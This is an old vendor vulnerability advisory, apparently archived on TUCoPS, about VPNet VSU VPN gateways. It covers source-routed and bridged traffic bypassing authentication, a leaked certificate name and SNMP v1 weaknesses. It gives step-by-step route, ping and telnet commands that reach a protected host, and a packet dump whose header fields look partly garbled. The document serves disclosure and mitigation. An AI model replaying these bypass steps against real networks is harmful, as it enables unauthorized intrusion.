Vulnerability
VPN Service Units (VSU)
Affected
all VSU VPN Service Units
Description
Following is based on a f8labs Security Advisory. VPNremote is a
Windows compatible software product that provides secure
authenticated access to enterprise network resources and
applications over the Internet. As a building block of the
VPNware System, VPNremote enables enterprises to leverage the
global access and low cost of public networks for their remote
access users. Using standards-based IPSec technology, VPNremote
extends the integrity and confidentiality of data traveling
outside of enterprise networks by providing encryption,
compression, and authentication.
VSU's are dedicated, hardware-based VPN gateways that enable
secure data communications over public IP networks such as the
Internet. As a building block of the VPNware System, VSUs provide
standards-based IPSec services that enable organizations to
securely connect remote users, branch offices, partners, and
customers to enterprise networks. VSUs provide unmatched levels
of performance, manageability, and security that allow
organizations of all sizes to take full advantage of the cost
savings, productivity, and business relationship-enhancing
benefits of virtual private networks.
VSUs give you the confidence to run your business-critical data
and applications across public IP networks. How? By delivering
IPSec 3DES encryption, data integrity and authentication, and key
management. VSUs support a range of two-factor user
authentication methods -- RADIUS servers, RSA SecurID tokens,
SmartCards, and digital certificates -- so you can be sure of
who's accessing your VPN.
All VSUs offer additional robustness via resilient VPN tunneling.
VSUs continually sense endpoint availability and automatically
transition tunnels to a secondary VSU in the event of a data link
failure. The VSU-7500 offers an additional level of fault
tolerance by providing high-availability hardware features such
as redundant Ethernet interfaces, IPSec processors, power
supplies, and cooling fans. The complete VSU series are delivered
in tamper-evident enclosures that meet the FIPS 140-1 Level 2
standard.
PROBLEM 1a: Remote Attack
=========================
By sending SOURCE ROUTED packets to the target VSU, it is
possible to force the VSU to forward unauthorized traffic from
the public interface on the VSU to any host on the protected
network.
This is done WITHOUT exchanging keys, without providing a
username/pass, or any other authentication at all. It is a
design-flaw in the VSU NOS where the TCP stack accepts and
forwards SOURCE ROUTED packets.
In the beginning, f8 noticed that the VSU would forward ICMP
packets to its private NIC. We then wanted to see if it would
forward ICMP packets to a host on the protected (priv) network.
Their theory was correct.
Wanting to take this vulnerability further, f8 wanted to see if
it would also forward TCP packets to the target host on the
private network. Their theory again, was correct.
While demonstrating the exploit we wanted to put the VSU in full
blocking mode, which forces the VSU to drop all incoming
connections accept authorized VPN traffic. However, to their
surprise, f8 were still able to get both ICMP and TCP packets to
the remote target host behind the VSU. Wanting to see if they
could create actual telnet sessions with the remote host, f8 used
source routing and were amazed to find that it could be done.
The remote host was sending and routing packets back to their
machine while configured in full blocking mode.
Source code has been created by Fate Research for use in a remote
attack outside of a lab environment, however, due to the severity
of this attack we have published a broken version of the program,
which can be found at http://www.fatelabs.com for proof of
concept. However, f8 recommends demonstrating this attack through
the local attack outlined below (a lot less headache).
Refer to Appendix B to review what was done to the target
machine, as well as packets we grabbed with a sniffer running on
the target host.
PROBLEM 1b: Local Attack
========================
By adding an IP alias to the NIC card of the SOURCE HOST, an IP
belonging to the same segment of the private network on the VSU,
it is possible to bridge sessions THROUGH the VSU to a host on
the private network.
This attack is possible due to a flaw in the bridging code for the
VSU's NOS.
1. Add an IP alias to the NIC of the SOURCE HOST, e.g.
192.168.0.5
2. Add the necessary routes:
[root@moo /]# route add -net 192.168.0.0/16 gw 192.168.0.5
3. Check connectivity:
[root@moo /]# ping 192.168.0.3
PING 192.168.0.3 (192.168.0.3) from 192.168.0.5 : 56(84) bytes of data.
64 bytes from 192.168.0.3: icmp_seq=0 ttl=255 time=0.7 ms
64 bytes from 192.168.0.3: icmp_seq=1 ttl=255 time=0.6 ms
64 bytes from 192.168.0.3: icmp_seq=2 ttl=255 time=0.6 ms
--- 192.168.0.3 ping statistics ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 0.6/0.6/0.7 ms
/* Eww la la */
[root@moo /]#
PROBLEM 2:
==========
VPNet has a VPN client called VPNRemote, which uses SSL
encryption to negotiate connections with the VSU. However, the
VSU responds back in clear text containing the VSU Certificate
name, as well as the company address and location. This
Certificate name is used prior to connecting to the VSU and
required before starting the authentication process. So this of
course is the missing key in being able to start a brute force
session against the VSU or even open a connection. f8 has
provided simple steps in receiving this for a further attack on
the VSU in APPENDIX A. See below.
PROBLEM 3:
==========
f8 team would like to place emphasis on the fact that VPNet
devices utilize SNMP v1. Since it's inception, problems in clear
text and numerous other problems associated with v1 have caused
its developers to create version2 and now 3. Because of the
inherent security problems with v1 of SNMP, it is advised that
administrators disable it where possible until VPNet upgrades
it's NOS to support v2 or 3. See APPENDIX C for SNMP packet
traces.
By brute forcing the community string on the VSU's (default set
to PUBLIC), it is possible to utilize the read-only information
from SNMP to retrieve the private IP network information of the
target VSU. This is the preliminary information needed in the
source-routed attack on the vsu. Such SNMP information will
provide IP information of the protected segment in the VPN.
APPENDIX A:
===========
Go ahead and install the windows-based VPN client that VPNet
provides. Setup a new profile and put in any text you wish for
all of the required fields. After this you will want to put in
the IP address of the target VSU. Go ahead and attempt your
connection with a sniffer running in the background. You should
receive something similar to the following.
No: 9
MAC source address: 18:43:11:270
MAC dest address: 00 D0 06 B7 DC 54
Frame: 00 00 21 EC 69 B0
Protocol: IP
Source IP address: TCP
Dest IP address: XXX.XXX.XXX.XXX
Source port: XXx.XXX.XXX.XXX
Destination port: 1443
SEQ: 3511
ACK: 2092418050
Packet size: 82361859
Packet data:
0000: 00 00 21 EC 69 B0 00 D0 06 B7 DC 54 08 00 45 00 ..!.i......T..E.
0010: 02 28 24 C1 00 00 32 06 66 95 40 A2 81 0B 18 E5 .($...2.f.@.....
0020: 20 E8 05 A3 0D B7 7C B7 C4 02 04 E8 BE 03 50 10 .....|.......P.
0030: 10 00 2B C2 00 00 16 03 00 00 4A 02 00 00 46 03 ..+.......J...F.
0040: 00 3A 01 99 8B 4D BA FC DD 02 CE BA 30 04 8D 9B .:...M......0...
0050: F7 2E 5F F8 32 06 01 B3 D6 E0 03 79 F5 20 07 B9 .._.2......y. ..
0060: E0 20 ED 8A A7 46 96 88 D4 EC D1 44 0E 00 92 10 . ...F.....D....
0070: 9B DA 94 F1 7C 65 36 B3 E0 C0 8E 9D 93 BB 41 6D ....|e6.......Am
0080: 33 B9 00 04 00 16 03 00 02 48 0B 00 02 44 00 02 3........H...D..
0090: 41 00 02 3E 30 82 02 3A 30 82 01 A3 02 02 20 61 A..>0..:0..... a
00A0: 30 0D 06 09 2A 86 48 86 F7 0D 01 01 04 05 00 30 0...*.H........0
00B0: 67 31 0B 30 09 06 03 55 04 06 13 02 55 53 31 0B g1.0...U....US1.
00C0: 30 09 06 03 55 04 08 13 02 43 41 31 11 30 0F 06 0...U....CA1.0..
00D0: 03 55 04 07 13 08 53 61 6E 20 4A 6F 73 65 31 21 .U....San Jose1!
00E0: 30 1F 06 03 55 04 0A 13 18 56 50 4E 65 74 20 54 0...U....VPNet T
00F0: 65 63 68 6E 6F 6C 6F 67 69 65 73 2C 20 49 6E 63 echnologies, Inc
0100: 2E 31 15 30 13 06 03 55 04 03 14 0C 56 50 4E 65 .1.0...U....VPNe
0110: 74 43 41 5F 37 5F 39 38 30 1E 17 0D 39 39 31 30 tCA_7_980...9910
0120: 32 32 30 33 33 31 33 33 5A 17 0D 30 39 31 30 31 22033133Z..09101
0130: 39 30 33 33 31 33 33 5A 30 63 31 0B 30 09 06 03 9033133Z0c1.0...
0140: 55 04 06 13 02 55 53 31 0B 30 09 06 03 55 04 08 U....US1.0...U..
0150: 13 02 43 41 31 11 30 0F 06 03 55 04 07 13 08 53 ..CA1.0...U....S
0160: 61 6E 20 4A 6F 73 65 31 21 30 1F 06 03 55 04 0A an Jose1!0...U..
0170: 13 18 56 50 4E 65 74 20 54 65 63 68 6E 6F 6C 6F ..VPNet Technolo
0180: 67 69 65 73 2C 20 49 6E 63 2E 31 11 30 0F 06 03 gies, Inc.1.0...
0190: 55 04 03 13 08 56 53 55 31 30 37 38 37 30 81 9F U....VSU107870..
/* <--- /* Here we have the valid certificate name */ ------ ^^^^^^^^^
01A0: 30 0D 06 09 2A 86 48 86 F7 0D 01 01 01 05 00 03 0...*.H.........
01B0: 81 8D 00 30 81 89 02 81 81 00 EA 90 9D A9 04 17 ...0............
01C0: 81 F7 21 39 7A 1C 68 9B 14 D4 74 E4 79 89 B8 B1 ..!9z.h...t.y...
01D0: ED 0E 1C 4D 30 06 AC 5F 9B F0 43 FE 75 9B 6D B2 ...M0.._..C.u.m.
01E0: 69 80 9B 20 3E 0D D4 EE 4A FC 01 D5 45 66 04 80 i.. >...J...Ef..
01F0: 91 E3 7A CD A2 75 81 DD ED CF A7 D2 EF 49 DE D7 ..z..u.......I..
0200: 09 6A 32 1B 9A 33 36 FE 14 83 8E EA 10 A6 0B 54 .j2..36........T
0210: 01 33 71 7D 9C C2 E1 9E B4 CC 50 94 E9 B0 F3 E1 .3q}......P.....
0220: 87 46 78 73 5B 4E 5E 60 CC 01 C8 C1 02 95 4D 1A .Fxs[N^`......M.
0230: 98 6E 81 FF A4 04 .n....
APPENDIX B:
===========
The below diagram was performed in a lab setup. There was no
Internet connectivity in the scenario. The exploit however has
been successfully performed across the Internet using SOURCE
ROUTED sessions.
---- 192.168.1.1 192.168.1.2/192.168.2.1 192.168.2.2 ----
| \/ | ------ | \/ |
| /\ | ------------------> | | ----------------------------> | /\ |
---- ------ ----
ROUTER A VSU ROUTER B
# telnet 192.16.8.2.2 /route: 192.168.1.2
# On a Windows Box:
1. Added IP alias to NIC Card, 192.168.2.3
2. Added a route:
C:\> route add 192.168.2.0 MASK 255.255.255.0 192.168.1.2
^ priv nic net ^ class C ^ pub nic of vsu
3. C:\>ping 192.168.2.2
Pinging 192.168.2.2 with 32 bytes of data:
Reply from 192.168.2.2: bytes=32 time<10ms TTL=255
Reply from 192.168.2.2: bytes=32 time<10ms TTL=255
Reply from 192.168.2.2: bytes=32 time<10ms TTL=255
Reply from 192.168.2.2: bytes=32 time<10ms TTL=255
Ping statistics for 192.168.2.2:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
4. C:\> telnet 192.168.2.2
Red Hat Linux release 6.2 (Zoot)
Kernel 2.2.14-5.0 on an i586
login:
Solution
SOURCE ROUTE ISSUES: VPNet has responded to the source-routed
sessions issue and has created a patch for the NOS. However,
VPNet does not wish to have this patch available to the public
domain, rather, built into the next release of 3.X. Fate
Research Labs is astonished by VPNet's response and recommend
that users take an immediate course of action to protect their
networks against this attack. f8 suggest proper network topology
design through the use of a Firewall as well as ensuring that
the DMZ is configured as a leg off the Firewall so that the local
exploit above can not be performed. Verify proper firewall rules
and ensure that the firewall denies off all incoming connections
accept that of required by the IKE negotiations and VPN traffic
to the VSU.
BRIDGING MODE ISSUES: VPNet has been notified of these bridging
issues. It is an inherent design flaw in their NOS that bridges
over incoming packets containing a SOURCE IP of the VSU's private
network. No patch or resolution has been made or identified as
of this writing.
VPNet has also been made aware of the other issues surrounding
this advisory. They have patched them in their next NOS release.
Fate Research Labs has tested their patch against our attack and
it proves to be a successful fix. f8 do however recommend that
users contact their local VPNet office and complain about their
ridiculous notion to not make this patch readily available to its
customers.
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH
